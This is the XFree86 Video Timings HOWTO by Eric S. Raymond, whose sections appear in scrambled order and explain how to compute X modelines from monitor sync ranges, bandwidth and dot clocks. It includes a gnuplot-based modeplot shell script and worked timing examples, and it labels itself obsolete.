Sync frequencies are usually listed on the specifications page of your monitor manual. The vertical sync frequency number is typically calibrated in Hz (cycles per second), the horizontal one in KHz (kilocycles per second). The usual ranges are between 50 and 150Hz vertical, and between 31 and 135KHz horizontal.

If you have a multisync monitor, these frequencies will be given as ranges. Some monitors, especially lower-end ones, have multiple fixed frequencies. These can be configured too, but your options will be severely limited by the built-in monitor characteristics. Choose the highest frequency pair for best resolution. And be careful --- trying to clock a fixed-frequency monitor at a higher speed than it's designed for can easily damage it.

Earlier versions of this guide were pretty cavalier about overdriving multisync monitors, pushing them past their nominal highest vertical sync frequency in order to get better performance. We have since had more reasons pointed out to us for caution on this score; we'll cover those under Overdriving Your Monitor below.

6.2. The monitor's video bandwidth

Your monitor's video bandwidth should be included on the manual's spec page. If it's not, look at the monitor's higest rated resolution. As a rule of thumb, here's how to translate these into bandwidth estimates (and thus into rough upper bounds for the dot clock you can use):

    640x480			25
    800x600			36
    1024x768		65
    1024x768 interlaced	45
    1280x1024		110
    1600x1200		185

BTW, there's nothing magic about this table; these numbers are just the lowest dot clocks per resolution in the standard XFree86 Modes database (except for the last, which I extrapolated). The bandwidth of your monitor may actually be higher than the minimum needed for its top resolution, so don't be afraid to try a dot clock a few MHz higher.

Also note that bandwidth is seldom an issue for dot clocks under 65MHz or so. With an SVGA card and most hi-res monitors, you can't get anywhere near the limit of your monitor's video bandwidth. The following are examples:

    Brand				Video Bandwidth
    ----------			---------------
    NEC 4D				75Mhz
    Nano 907a			50Mhz
    Nano 9080i			60Mhz
    Mitsubishi HL6615		110Mhz
    Mitsubishi Diamond Scan		100Mhz
    IDEK MF-5117			65Mhz
    IOCOMM Thinksync-17 CM-7126	136Mhz
    HP D1188A			100Mhz
    Philips SC-17AS			110Mhz
    Swan SW617			85Mhz
    Viewsonic 21PS			185Mhz
    PanaSync/Pro P21		220Mhz

Even low-end monitors usually aren't terribly bandwidth-constrained for their rated resolutions. The NEC Multisync II makes a good example --- it can't even display 800x600 per its spec. It can only display 800x560. For such low resolutions you don't need high dot clocks or a lot of bandwidth; probably the best you can do is 32Mhz or 36Mhz, both of them are still not too far from the monitor's rated video bandwidth of 30Mhz.

At these two driving frequencies, your screen image may not be as sharp as it should be, but definitely of tolerable quality. Of course it would be nicer if NEC Multisync II had a video bandwidth higher than, say, 36Mhz. But this is not critical for common tasks like text editing, as long as the difference is not so significant as to cause severe image distortion (your eyes would tell you right away if this were so).

6.3. The card's dot clock

Your video adapter manual's spec page will usually give you the card's maximum dot clock (that is, the total number of pixels per second it can write to the screen).

If you don't have this information, the X server will get it for you. Recent versions of the X servers all support a --probeonly option that prints out this information and exits without actually starting up X or changing the video mode.

If you don't have -probeonly, don't depair. Even if your X locks up your monitor, it will emit a line of clock and other info to standard error. If you redirect this to a file, it should be saved even if you have to reboot to get your console back.

The probe result or startup message should look something like one of the following examples:

If you're using XFree86:

Xconfig: /usr/X11R6/lib/X11/Xconfig
(**) stands for supplied, (--) stands for probed/default values
(**) Mouse: type: MouseMan, device: /dev/ttyS1, baudrate: 9600
Warning: The directory "/usr/andrew/X11fonts" does not exist.
         Entry deleted from font path.
(**) FontPath set to "/usr/lib/X11/fonts/misc/,/usr/lib/X11/fonts/75dpi/"
(--) S3: card type: 386/486 localbus
(--) S3: chipset:   924
                    ---
    Chipset -- this is the exact chip type; an early mask of the 86C911

(--) S3: chipset driver: s3_generic
(--) S3: videoram:  1024k
                    -----
         Size of on-board frame-buffer RAM

(**) S3: clocks:  25.00  28.00  40.00   3.00  50.00  77.00  36.00  45.00
(**) S3: clocks:   0.00   0.00  79.00  31.00  94.00  65.00  75.00  71.00
                  ------------------------------------------------------
                              Possible driving frequencies in MHz

(--) S3: Maximum allowed dot-clock: 110MHz
                                    ------
                                   Bandwidth
(**) S3: Mode "1024x768": mode clock =  79.000, clock used =  79.000
(--) S3: Virtual resolution set to 1024x768
(--) S3: Using a banksize of 64k, line width of 1024
(--) S3: Pixmap cache:
(--) S3: Using 2 128-pixel 4 64-pixel and 8 32-pixel slots
(--) S3: Using 8 pages of 768x255 for font caching

If you're using SGCS or X/Inside X:

WGA: 86C911 (mem: 1024k clocks: 25 28 40 3 50 77 36 45 0 0 79 31 94 65 75 71)
---  ------       -----         --------------------------------------------
 |     |            |                 Possible driving frequencies in MHz
 |     |            +-- Size of on-board frame-buffer RAM
 |     +-- Chip type
 +-- Server type

Note: do this with your machine unloaded (if at all possible). Because X is an application, its timing loops can collide with disk activity, rendering the numbers above inaccurate. Do it several times and watch for the numbers to stabilize; if they don't, start killing processes until they do. Your mouse daemon process, if you have one, is particularly likely to trip you up (that's gpm for Linux users, mousemgr for SVr4 users).

In order to avoid the clock-probe inaccuracy, you should clip out the clock timings and put them in your Xconfig as the value of the Clocks property --- this suppresses the timing loop and gives X an exact list of the clock values it can try. Using the data from the example above:

wga
    Clocks	25 28 40 3 50 77 36 45 0 0 79 31 94 65 75 71

On systems with a highly variable load, this may help you avoid mysterious X startup failures. It's possible for X to come up, get its timings wrong due to system load, and then not be able to find a matching dot clock in its config database --- or find the wrong one!

6.4. What these basic statistics control

The sync frequency ranges of your monitor, together with your video adapter's dot clock, determine the ultimate resolution that you can use. But it's up to the driver to tap the potential of your hardware. A superior hardware combination without an equally competent device driver is a waste of money. On the other hand, with a versatile device driver but less capable hardware, you can push the hardware a little beyond its rated performance. This is the design philosophy of XFree86.

You should match the dot clock you use to the monitor's video bandwidth. There's a lot of give here, though --- some monitors can run as much as 30% over their nominal bandwidth. The risks here have to do with exceeding the monitor's rated vertical-sync frequency; we'll discuss them in detail below.

Knowing the bandwidth will enable you to make more intelligent choices between possible configurations. It may affect your display's visual quality (especially sharpness for fine details).

Prev | Home | Next
How Video Displays Work |  | Interpreting the Basic Specifications


Plotting Monitor Capabilities

XFree86 Video Timings HOWTO
Prev Next

17. Plotting Monitor Capabilities

To plot a monitor mode diagram, you'll need the gnuplot package (a freeware plotting language for UNIX-like operating systems) and the tool modeplot, a shell/gnuplot script to plot the diagram from your monitor characteristics, entered as command-line options.

Here is a copy of modeplot:

#!/bin/sh
#
# modeplot -- generate X mode plot of available monitor modes
#
# Do `modeplot -?' to see the control options.
#

# Monitor description. Bandwidth in MHz, horizontal frequencies in kHz
# and vertical frequencies in Hz.
TITLE="Viewsonic 21PS"
BANDWIDTH=185
MINHSF=31
MAXHSF=85
MINVSF=50
MAXVSF=160
ASPECT="4/3"
vesa=72.5	# VESA-recommended minimum refresh rate

while [ "$1" != "" ]
do
    case $1 in
    -t) TITLE="$2"; shift;;
    -b) BANDWIDTH="$2"; shift;;
    -h) MINHSF="$2" MAXHSF="$3"; shift; shift;;
    -v) MINVSF="$2" MAXVSF="$3"; shift; shift;;
    -a) ASPECT="$2"; shift;;
    -g) GNUOPTS="$2"; shift;;
    -?) cat <<EOF
modeplot control switches:

-t "<description>"	name of monitor            defaults to "Viewsonic 21PS"
-b <nn>           	bandwidth in MHz           defaults to 185
-h <min> <max>   	min & max HSF (kHz)        defaults to 31 85
-v <min> <max>   	min & max VSF (Hz)         defaults to 50 160
-a <aspect ratio>	aspect ratio               defaults to 4/3
-g "<options>"   	pass options to gnuplot

The -b, -h and -v options are required, -a, -t, -g optional.  You can
use -g to pass a device type to gnuplot so that (for example) modeplot's
output can be redirected to a printer.  See gnuplot(1) for  details.

The modeplot tool was created by Eric S. Raymond <esr@thyrsus.com> based on
analysis and scratch code by Martin Lottermoser <Martin.Lottermoser@mch.sni.de>

This is modeplot $Revision: 1.22 $
EOF
        exit;;
    esac
    shift
done

gnuplot $GNUOPTS <<EOF
set title "$TITLE Mode Plot"

# Magic numbers.  Unfortunately, the plot is quite sensitive to changes in
# these, and they may fail to represent reality on some monitors.  We need
# to fix values to get even an approximation of the mode diagram.  These come
# from looking at lots of values in the ModeDB database.
F1 = 1.30	# multiplier to convert horizontal resolution to frame width
F2 = 1.05	# multiplier to convert vertical resolution to frame height

# Function definitions (multiplication by 1.0 forces real-number arithmetic)
ac = (1.0*$ASPECT)*F1/F2
refresh(hsync, dcf) = ac * (hsync**2)/(1.0*dcf)
dotclock(hsync, rr) = ac * (hsync**2)/(1.0*rr)
resolution(hv, dcf) = dcf * (10**6)/(hv * F1 * F2)

# Put labels on the axes
set xlabel 'DCF (MHz)'
set ylabel 'RR (Hz)' 6	# Put it right over the Y axis

# Generate diagram
set grid
set label "VB" at $BANDWIDTH+1, ($MAXVSF + $MINVSF) / 2 left
set arrow from $BANDWIDTH, $MINVSF to $BANDWIDTH, $MAXVSF nohead
set label "max VSF" at 1, $MAXVSF-1.5
set arrow from 0, $MAXVSF to $BANDWIDTH, $MAXVSF nohead
set label "min VSF" at 1, $MINVSF-1.5
set arrow from 0, $MINVSF to $BANDWIDTH, $MINVSF nohead
set label "min HSF" at dotclock($MINHSF, $MAXVSF+17), $MAXVSF + 17 right
set label "max HSF" at dotclock($MAXHSF, $MAXVSF+17), $MAXVSF + 17 right
set label "VESA $vesa" at 1, $vesa-1.5
set arrow from 0, $vesa to $BANDWIDTH, $vesa nohead # style -1
plot [dcf=0:1.1*$BANDWIDTH] [$MINVSF-10:$MAXVSF+20] \
  refresh($MINHSF, dcf) notitle with lines 1, \
  refresh($MAXHSF, dcf) notitle with lines 1, \
  resolution(640*480,   dcf) title "640x480  " with points 2, \
  resolution(800*600,   dcf) title "800x600  " with points 3, \
  resolution(1024*768,  dcf) title "1024x768 " with points 4, \
  resolution(1280*1024, dcf) title "1280x1024" with points 5, \
  resolution(1600*1280, dcf) title "1600x1200" with points 6

pause 9999
EOF

Once you know you have modeplot and the gnuplot package in place, you'll need the following monitor characteristics:

  • video bandwidth (VB)

  • range of horizontal sync frequency (HSF)

  • range of vertical sync frequency (VSF)

The plot program needs to make some simplifying assumptions which are not necessarily correct. This is the reason why the resulting diagram is only a rough description. These assumptions are:

  • All resolutions have a single fixed aspect ratio AR = HR/VR. Standard resolutions have AR = 4/3 or AR = 5/4. The modeplot programs assumes 4/3 by default, but you can override this.

  • For the modes considered, horizontal and vertical frame lengths are fixed multiples of horizontal and vertical resolutions, respectively:

        HFL = F1 * HR
    VFL = F2 * VR

As a rough guide, take F1 = 1.30 and F2 = 1.05 (see Computing Frame Sizes.

Now take a particular sync frequency, HSF. Given the assumptions just presented, every value for the clock rate DCF already determines the refresh rate RR, i.e. for every value of HSF there is a function RR(DCF). This can be derived as follows.

The refresh rate is equal to the clock rate divided by the product of the frame sizes:

    RR = DCF / (HFL * VFL)		(*)

On the other hand, the horizontal frame length is equal to the clock rate divided by the horizontal sync frequency:

    HFL = DCF / HSF			(**)

VFL can be reduced to HFL be means of the two assumptions above:

    VFL = F2 * VR
        = F2 * (HR / AR)
        = (F2/F1) * HFL / AR	(***)

Inserting (**) and (***) into (*) we obtain:

    RR = DCF / ((F2/F1) * HFL**2 / AR)
       = (F1/F2) * AR * DCF * (HSF/DCF)**2
       = (F1/F2) * AR * HSF**2 / DCF

For fixed HSF, F1, F2 and AR, this is a hyperbola in our diagram. Drawing two such curves for minimum and maximum horizontal sync frequencies we have obtained the two remaining boundaries of the permitted region.

The straight lines crossing the capability region represent particular resolutions. This is based on (*) and the second assumption:

    RR = DCF / (HFL * VFL) = DCF / (F1 * HR * F2 * VR)

By drawing such lines for all resolutions one is interested in, one can immediately read off the possible relations between resolution, clock rate and refresh rate of which the monitor is capable. Note that these lines do not depend on monitor properties, but they do depend on the second assumption.

The modeplot tool provides you with an easy way to do this. Do modeplot -? to see its control options. A typical invocation looks like this:

    modeplot -t "Swan SW617" -b 85 -v 50 90 -h 31 58

The -b option specifies video bandwidth; -v and -h set horizontal and vertical sync frequency ranges.

When reading the output of modeplot, always bear in mind that it gives only an approximate description. For example, it disregards limitations on HFL resulting from a minimum required sync pulse width, and it can only be accurate as far as the assumptions are. It is therefore no substitute for a detailed calculation (involving some black magic) as presented in Putting it All Together. However, it should give you a better feeling for what is possible and which tradeoffs are involved.

Prev | Home | Next
Fixing Problems with the Image. |  | Credits


Credits

XFree86 Video Timings HOWTO
Prev

18. Credits

The original ancestor of this document was by Chin Fang <fangchin@leland.stanford.edu>.

Eric S. Raymond <esr@snark.thyrsus.com>; reworked, reorganized, and massively rewrote Chin Fang's original in an attempt to understand it. In the process, he merged in most of a different how-to by Bob Crosson <crosson@cam.nist.gov>.

The material on interlaced modes is largely by David Kastrup <dak@pool.informatik.rwth-aachen.de>

Nicholas Bodley <nbodley@alumni.princeton.edu> corrected and clarified the section on how displays work.

Payne Freret <payne@freret.org> corrected some minor technical errors about monitor design.

Martin Lottermoser <Martin.Lottermoser@mch.sni.de> contributed the idea of using gnuplot to make mode diagrams and did the mathematical analysis behind modeplot. The distributed modeplot was redesigned and generalized by ESR from Martin's original gnuplot code for one case.

Prev | Home
Plotting Monitor Capabilities |


Disclaimer

XFree86 Video Timings HOWTO
Prev Next

1. Disclaimer

You use the material herein solely at your own risk. It is possible to harm both your monitor and yourself when driving it outside the manufacturer's specs. Read Overdriving Your Monitor for detailed cautions. Any damage to you or your monitor caused by overdriving it is your problem.

The most up-to-date version of this HOWTO can be found at the Linux Documentation Project web page.

Please direct comments, criticism, and suggestions for improvement to <esr@snark.thyrsus.com>. Please do not send email pleading for a magic solution to your special monitor problem, as doing so will only burn up my time and frustrate you -- everything I know about the subject is already in here.

Prev | Home | Next
XFree86 Video Timings HOWTO |  | Why This HOWTO Is Obsolete


Fixing Problems with the Image.

XFree86 Video Timings HOWTO
Prev Next

16. Fixing Problems with the Image.

OK, so you've got your X configuration numbers. You put them in Xconfig with a test mode label. You fire up X, hot-key to the new mode, ... and the image doesn't look right. What do you do? Here's a list of common video image distortions and how to fix them.

(Fixing these minor distortions is where xvidtune(1) really shines.)

You move the image by changing the sync pulse timing. You scale it by changing the frame length (you need to move the sync pulse to keep it in the same relative position, otherwise scaling will move the image as well). Here are some more specific recipes:

The horizontal and vertical positions are independent. That is, moving the image horizontally doesn't affect placement vertically, or vice-versa. However, the same is not quite true of scaling. While changing the horizontal size does nothing to the vertical size or vice versa, the total change in both may be limited. In particular, if your image is too large in both dimensions you will probably have to go to a higher dot clock to fix it. Since this raises the usable resolution, it is seldom a problem!

16.1. The image is displaced to the left or right

To fix this, move the horizontal sync pulse. That is, increment or decrement (by a multiple of 8) the middle two numbers of the horizontal timing section that define the leading and trailing edge of the horizontal sync pulse.

If the image is shifted left (right border too large, you want to move the image to the right) decrement the numbers. If the image is shifted right (left border too large, you want it to move left) increment the sync pulse.

16.2. The image is displaced up or down

To fix this, move the vertical sync pulse. That is, increment or decrement the middle two numbers of the vertical timing section that define the leading and trailing edge of the vertical sync pulse.

If the image is shifted up (lower border too large, you want to move the image down) decrement the numbers. If the image is shifted down (top border too large, you want it to move up) increment the numbers.

16.3. The image is too large both horizontally and vertically

Switch to a higher card clock speed. If you have multiple modes in your clock file, possibly a lower-speed one is being activated by mistake.

16.4. The image is too wide (too narrow) horizontally

To fix this, increase (decrease) the horizontal frame length. That is, change the fourth number in the first timing section. To avoid moving the image, also move the sync pulse (second and third numbers) half as far, to keep it in the same relative position.

16.5. The image is too deep (too shallow) vertically

To fix this, increase (decrease) the vertical frame length. That is, change the fourth number in the second timing section. To avoid moving the image, also move the sync pulse (second and third numbers) half as far, to keep it in the same relative position.

Any distortion that can't be handled by combining these techniques is probably evidence of something more basically wrong, like a calculation mistake or a faster dot clock than the monitor can handle.

Finally, remember that increasing either frame length will decrease your refresh rate, and vice-versa.

Occasionally you can fix minor distortions by fiddling with the picture controls on your monitor. The disadvantage is that if you take your controls too far off the neutral (factory) setting to fix graphics-mode problems, you may end up with a wacky image in text mode. It's better to get your modeline right.

Prev | Home | Next
Questions and Answers |  | Plotting Monitor Capabilities


Computing Frame Sizes

XFree86 Video Timings HOWTO
Prev Next

10. Computing Frame Sizes

Warning: this method was developed for multisync monitors. It will probably work with fixed-frequency monitors as well, but no guarantees!

Start by dividing DCF by your highest available HSF to get a horizontal frame length.

For example; suppose you have a Sigma Legend SVGA with a 65MHz dot clock, and your monitor has a 55KHz horizontal scan frequency. The quantity (DCF / HSF) is then 1181 (65MHz = 65000KHz; 65000/55 = 1181).

Now for our first bit of black magic. You need to round this figure to the nearest multiple of 8. This has to do with the VGA hardware controller used by SVGA and S3 cards; it uses an 8-bit register, left-shifted 3 bits, for what's really an 11-bit quantity. Other card types such as ATI 8514/A may not have this requirement, but we don't know and the correction can't hurt. So round the usable horizontal frame length figure down to 1176.

This figure (DCF / HSF rounded to a multiple of 8) is the minimum HFL you can use. You can get longer HFLs (and thus, possibly, more horizontal dots on the screen) by setting the sync pulse to produce a lower HSF. But you'll pay with a slower and more visible flicker rate.

As a rule of thumb, 80% of the horizontal frame length is available for horizontal resolution, the visible part of the horizontal scan line (this allows, roughly, for borders and sweepback time -- that is, the time required for the beam to move from the right screen edge to the left edge of the next raster line). In this example, that's 940 ticks.

Now, to get the normal 4:3 screen aspect ratio, set your vertical resolution to 3/4ths of the horizontal resolution you just calculated. For this example, that's 705 ticks. To get your actual VFL, multiply that by 1.05 to get 740 ticks.

The 4:3 is not technically magic; nothing prevents you from using a different ratio if that will get the best use out of your screen real estate. It does make figuring frame height and frame width from the diagonal size convenient, you just multiply the diagonal by by 0.8 to get width and 0.6 to get height.

So, HFL=1176 and VFL=740. Dividing 65MHz by the product of the two gives us a nice, healthy 74.6Hz refresh rate. Excellent! Better than VESA standard! And you got 944x705 to boot, more than the 800 by 600 you were probably expecting. Not bad at all!

You can even improve the refresh rate further, to almost 76 Hz, by using the fact that monitors can often sync horizontally at 2khz or so higher than rated, and by lowering VFL somewhat (that is, taking less than 75% of 940 in the example above). But before you try this "overdriving" maneuver, if you do, make sure that your monitor electron guns can sync up to 76 Hz vertical. (the popular NEC 4D, for instance, cannot. It goes only up to 75 Hz VSF). (See Overdriving Your Monitor for more general discussion of this issue. )

So far, most of this is simple arithmetic and basic facts about raster displays. Hardly any black magic at all!

Prev | Home | Next
Memory Requirements |  | Black Magic and Sync Pulses


XFree86 Video Timings HOWTO

Eric Steven Raymond

Thyrsus Enterprises

esr@thyrsus.com

Copyright © 2000 by Eric S. Raymond

$Date: 2002/02/04 18:01:47 $

Revision History
Revision 6.2 | 2002-02-03 | Revised by: esr
Minor corrections about mode line autogeneration.
Revision 6.1 | 2001-10-29 | Revised by: esr
Note that VESA modes top out at 1920x1440.
Revision 6.0 | 2001-08-09 | Revised by: esr
Clearer explanation of DDC and EDID. This HOWTO is now basically obsolete.
Revision 5.0 | 2000-08-22 | Revised by: esr
First DocBook version.

This HOWTO is effectively obsolete. Current (4.0.1 and up) versions of XFree86 compute optimal modelines from the resolution you specify in the Modes section of your X configuration file.

How to compose a mode line for your card/monitor combination under XFree86. The XFree86 distribution now includes good facilities for configuring most standard combinations; this document is mainly useful if you are tuning a custom mode line for an ultra-high-performance monitor or very unusual hardware. It may also help you in using kvideogen to generate mode lines, or xvidtune to tweak a standard mode that is not quite right for your monitor.

Table of Contents
1. Disclaimer
2. Why This HOWTO Is Obsolete
3. Introduction
4. Tools for Automatic Computation
5. How Video Displays Work
6. Basic Things to Know about your Display and Adapter
6.1. The monitor sync frequencies
6.2. The monitor's video bandwidth
6.3. The card's dot clock
6.4. What these basic statistics control
7. Interpreting the Basic Specifications
7.1. About Bandwidth
7.2. Sync Frequencies and the Refresh Rate:
8. Tradeoffs in Configuring your System
9. Memory Requirements
10. Computing Frame Sizes
11. Black Magic and Sync Pulses
11.1. Horizontal Sync:
11.2. Vertical Sync:
12. Putting it All Together
13. Overdriving Your Monitor
14. Using Interlaced Modes
15. Questions and Answers
16. Fixing Problems with the Image.
16.1. The image is displaced to the left or right
16.2. The image is displaced up or down
16.3. The image is too large both horizontally and vertically
16.4. The image is too wide (too narrow) horizontally
16.5. The image is too deep (too shallow) vertically
17. Plotting Monitor Capabilities
18. Credits
Next
Disclaimer


Using Interlaced Modes

XFree86 Video Timings HOWTO
Prev Next

14. Using Interlaced Modes

(This section is largely due to David Kastrup <dak@pool.informatik.rwth-aachen.de>)

At a fixed dot clock, an interlaced display is going to have considerably less noticable flicker than a non-interlaced display, if the vertical circuitry of your monitor is able to support it stably. It is because of this that interlaced modes were invented in the first place.

Interlaced modes got their bad reputqtion because they are inferior to their non-interlaced companions at the same vertical scan frequency, VSF (which is what is usually given in advertisements). But they are definitely superior at the same horizontal scan rate, and that's where the decisive limits of your monitor/graphics card usually lie.

At a fixed refresh rate (or half frame rate, or VSF) the interlaced display will flicker more: a 90Hz interlaced display will be inferior to a 90Hz non-interlaced display. It will, however, need only half the video bandwidth and half the horizontal scan rate. If you compared it to a non-interlaced mode with the same dot clock and the same scan rates, it would be vastly superior: 45Hz non-interlaced is intolerable. With 90Hz interlaced, I have worked for years with my Multisync 3D (at 1024x768) and am very satisfied. I'd guess you'd need at least a 70Hz non-interlaced display for similar comfort.

You have to watch a few points, though: use interlaced modes only at high resolutions, so that the alternately lighted lines are close together. You might want to play with sync pulse widths and positions to get the most stable line positions. If alternating lines are bright and dark, interlace will jump at you. I have one application that chooses such a dot pattern for a menu background (XCept, no other application I know does that, fortunately). I switch to 800x600 for using XCept because it really hurts my eyes otherwise.

For the same reason, use at least 100dpi fonts, or other fonts where horizontal beams are at least two lines thick (for high resolutions, nothing else will make sense anyhow).

And of course, never use an interlaced mode when your hardware would support a non-interlaced one with similar refresh rate.

If, however, you find that for some resolution you are pushing either monitor or graphics card to their upper limits, and getting dissatisfactorily flickery or outwashed (bandwidth exceeded) display, you might want to try tackling the same resolution using an interlaced mode. Of course this is useless if the VSF of your monitor is already close to its limits.

Design of interlaced modes is easy: do it like a non-interlaced mode. Just two more considerations are necessary: you need an odd total number of vertical lines (the last number in your mode line), and when you specify the "interlace" flag, the actual vertical frame rate for your monitor doubles. Your monitor needs to support a 90Hz frame rate if the mode you specified looks like a 45Hz mode apart from the "Interlace" flag.

As an example, here is my modeline for 1024x768 interlaced: my Multisync 3D will support up to 90Hz vertical and 38kHz horizontal.

ModeLine "1024x768" 45 1024 1048 1208 1248 768 768 776 807 Interlace

Both limits are pretty much exhausted with this mode. Specifying the same mode, just without the "Interlace" flag, still is almost at the limit of the monitor's horizontal capacity (and strictly speaking, a bit under the lower limit of vertical scan rate), but produces an intolerably flickery display.

Basic design rules: if you have designed a mode at less than half of your monitor's vertical capacity, make the vertical total of lines odd and add the "Interlace" flag. The display's quality should vastly improve in most cases.

If you have a non-interlaced mode otherwise exhausting your monitor's specs where the vertical scan rate lies about 30% or more under the maximum of your monitor, hand-designing an interlaced mode (probably with somewhat higher resolution) could deliver superior results, but I won't promise it.

Prev | Home | Next
Overdriving Your Monitor |  | Questions and Answers


Introduction

XFree86 Video Timings HOWTO
Prev Next

3. Introduction

The XFree86 server allows users to configure their video subsystem and thus encourages best use of existing hardware. This document is intended to help you learn how to generate your own timing numbers to make optimum use of your video card and monitor.

We'll present a method for getting something that works, and then show you how you can experiment starting from that base to develop settings that optimize for your taste.

If you already have a mode that almost works (in particular, if one of predefined VESA modes gives you a stable display but one that's displaced right or left, or too small, or too large) you can go straight to the section on Fixing Problems with the Image. This will enlighten you on ways to tweak the timing numbers to achieve particular effects.

Don't assume that you need to get all the way into mode tuning just because your X comes up with a scrambled display first time after installation; it may be that most of the factory mode lines are OK and you just happened to default to one that doesn't fit your hardware. Instead, cycle through all your installed modes with CTRL-ALT-KP+. If some of the modes look OK, try commenting out all but a 640x480 and check that that mode works. If it does then uncomment a couple of other modes, e.g. an 800x600 and a 1024x768 at a frequency that your monitor should be able to handle.

Prev | Home | Next
Why This HOWTO Is Obsolete |  | Tools for Automatic Computation


Black Magic and Sync Pulses

XFree86 Video Timings HOWTO
Prev Next

11. Black Magic and Sync Pulses

OK, now you've computed HFL/VFL numbers for your chosen dot clock, found the refresh rate acceptable, and checked that you have enough VRAM. Now for the real black magic -- you need to know when and where to place synchronization pulses.

The sync pulses actually control the horizontal and vertical scan frequencies of the monitor. The HSF and VSF you've pulled off the spec sheet are nominal, approximate maximum sync frequencies. The sync pulse in the signal from the adapter card tells the monitor how fast to actually run.

Recall the two pictures above? Only part of the time required for raster-scanning a frame is used for displaying viewable image (ie. your resolution).

11.1. Horizontal Sync:

By previous definition, it takes HFL ticks to trace the a horizontal scan line. Let's call the visible tick count (your horizontal screen resolution) HR. Then Obviously, HR < HFL by definition. For concreteness, let's assume both start at the same instant as shown below:

  |___ __ __ __ __ __ __ __ __ __ __ __ __
  |_ _ _ _ _ _ _ _ _ _ _ _                |
  |_______________________|_______________|_____
  0                       ^               ^     unit: ticks
                          |   ^       ^   |
                          HR  |       |  HFL
                          |   |<----->|   |
                          |<->|  HSP  |<->|
                          HGT1         HGT2

Now, we would like to place a sync pulse of length HSP as shown above, ie, between the end of clock ticks for display data and the end of clock ticks for the entire frame. Why so? because if we can achieve this, then your screen image won't shift to the right or to the left. It will be where it supposed to be on the screen, covering squarely the monitor's viewable area.

Furthermore, we want about 30 ticks of "guard time" on either side of the sync pulse. This is represented by HGT1 and HGT2. In a typical configuration HGT1 != HGT2, but if you're building a configuration from scratch, you want to start your experimentation with them equal (that is, with the sync pulse centered).

The symptom of a misplaced sync pulse is that the image is displaced on the screen, with one border excessively wide and the other side of the image wrapped around the screen edge, producing a white edge line and a band of "ghost image" on that side. A way-out-of-place vertical sync pulse can actually cause the image to roll like a TV with a mis-adjusted vertical hold (in fact, it's the same phenomenon at work).

If you're lucky, your monitor's sync pulse widths will be documented on its specification page. If not, here's where the real black magic starts...

You'll have to do a little trial and error for this part. But most of the time, we can safely assume that a sync pulse is about 3.5 to 4.0 microsecond in length.

For concretness again, let's take HSP to be 3.8 microseconds (which btw, is not a bad value to start with when experimenting).

Now, using the 65Mhz clock timing above, we know HSP is equivalent to 247 clock ticks (= 65 * 10**6 * 3.8 * 10^-6) [recall M=10^6, micro=10^-6]

Some vendors like to quote their horizontal framing parameters as timings rather than dot widths. You may see the following terms:

active time (HAT)

Corresponds to HR, but in time units (usually microseconds). HAT * DCF = HR.

blanking time (HBT)

Corresponds to (HFL - HR), but in time units (usually microseconds). HBT * DCF = (HFL - HR).

front porch (HFP)

This is just HGT1.

sync time

This is just HSP.

back porch (HBP)

This is just HGT2.

11.2. Vertical Sync:

Going back to the picture above, how do we place the 247 clock ticks as shown in the picture?

Using our example, HR is 944 and HFL is 1176. The difference between the two is 1176 - 944=232 < 247! Obviously we have to do some adjustment here. What can we do?

The first thing is to raise 1176 to 1184, and lower 944 to 936. Now the difference = 1184-936= 248. Hmm, closer.

Next, instead using 3.8, we use 3.5 for calculating HSP; then, we have 65*3.5=227. Looks better. But 248 is not much higher than 227. It's normally necessary to have 30 or so clock ticks between HR and the start of SP, and the same for the end of SP and HFL. AND they have to be multiple of eight! Are we stuck?

No. Let's do this, 936 % 8 = 0, (936 + 32) % 8 = 0 too. But 936 + 32 = 968, 968 + 227 = 1195, 1195 + 32 = 1227. Hmm.. this looks not too bad. But it's not a multiple of 8, so let's round it up to 1232.

But now we have potential trouble, the sync pulse is no longer placed right in the middle between h and H any more. Happily, using our calculator we find 1232 - 32 = 1200 is also a multiple of 8 and (1232 - 32) - 968 = 232 corresponding using a sync pulse of 3.57 microseconds long, still reasonable.

In addition, 936/1232 ~ 0.76 or 76%, still not far from 80%, so it should be all right.

Furthermore, using the current horizontal frame length, we basically ask our monitor to sync at 52.7khz (= 65Mhz/1232) which is within its capability. No problems.

Using rules of thumb we mentioned before, 936*75%=702, This is our new vertical resolution. 702 * 1.05 = 737, our new vertical frame length.

Screen refresh rate = 65Mhz/(737*1232)=71.6 Hz. This is still excellent.

Figuring the vertical sync pulse layout is similar:

   |___ __ __ __ __ __ __ __ __ __ __ __ __
   |_ _ _ _ _ _ _ _ _ _ _ _                |
   |_______________________|_______________|_____
   0                      VR              VFL     unit: ticks
                           ^   ^       ^
                           |   |       |
                           |<->|<----->|
                            VGT    VSP

We start the sync pulse just past the end of the vertical display data ticks. VGT is the vertical guard time required for the sync pulse. Most monitors are comfortable with a VGT of 0 (no guard time) and we'll use that in this example. A few need two or three ticks of guard time, and it usually doesn't hurt to add that.

Returning to the example: since by the defintion of frame length, a vertical tick is the time for tracing a complete HORIZONTAL frame, therefore in our example, it is 1232/65Mhz=18.95us.

Experience shows that a vertical sync pulse should be in the range of 50us and 300us. As an example let's use 150us, which translates into 8 vertical clock ticks (150us/18.95us~8).

Some makers like to quote their vertical framing parameters as timings rather than dot widths. You may see the following terms:

active time (VAT)

Corresponds to VR, but in milliseconds. VAT * VSF = VR.

blanking time (VBT)

Corresponds to (VFL - VR), but in milliseconds. VBT * VSF = (VFL - VR).

front porch (VFP)

This is just VGT.

sync time

This is just VSP.

back porch (VBP)

This is like a second guard time after the vertical sync pulse. It is often zero.

Prev | Home | Next
Computing Frame Sizes |  | Putting it All Together


Why This HOWTO Is Obsolete

XFree86 Video Timings HOWTO
Prev Next

2. Why This HOWTO Is Obsolete

For 4.0.0 and later versions of XFree86, you no longer have to generate modelines at all under most circumstances. Instead they are computed internally by the server at startup time, based on the resolution you specify in the Modes part of the Screen section part of your XFree86 configuration file and the monitor capabilities your X server gets via an EDID query to the monitor.

To change your screen resolution and color depth, simply edit or create a Display section describing it. Here is a sample Screen description from the X configuration file of my laptop:

Section "Screen"
    Identifier   "Screen0"
        Device       "ATI Rage Mobility"
        Monitor      "Monitor0"
    DefaultDepth	16

    Subsection "Display"
            Depth       16
                Modes       "1024x768"
    EndSubsection

EndSection

All you will usually need to do is change the numbers in the Mode entry. X will do the rest. If you specify an impossible resolution, it will fall back to the closest approximation that the EDID data from the monitor says it can support.

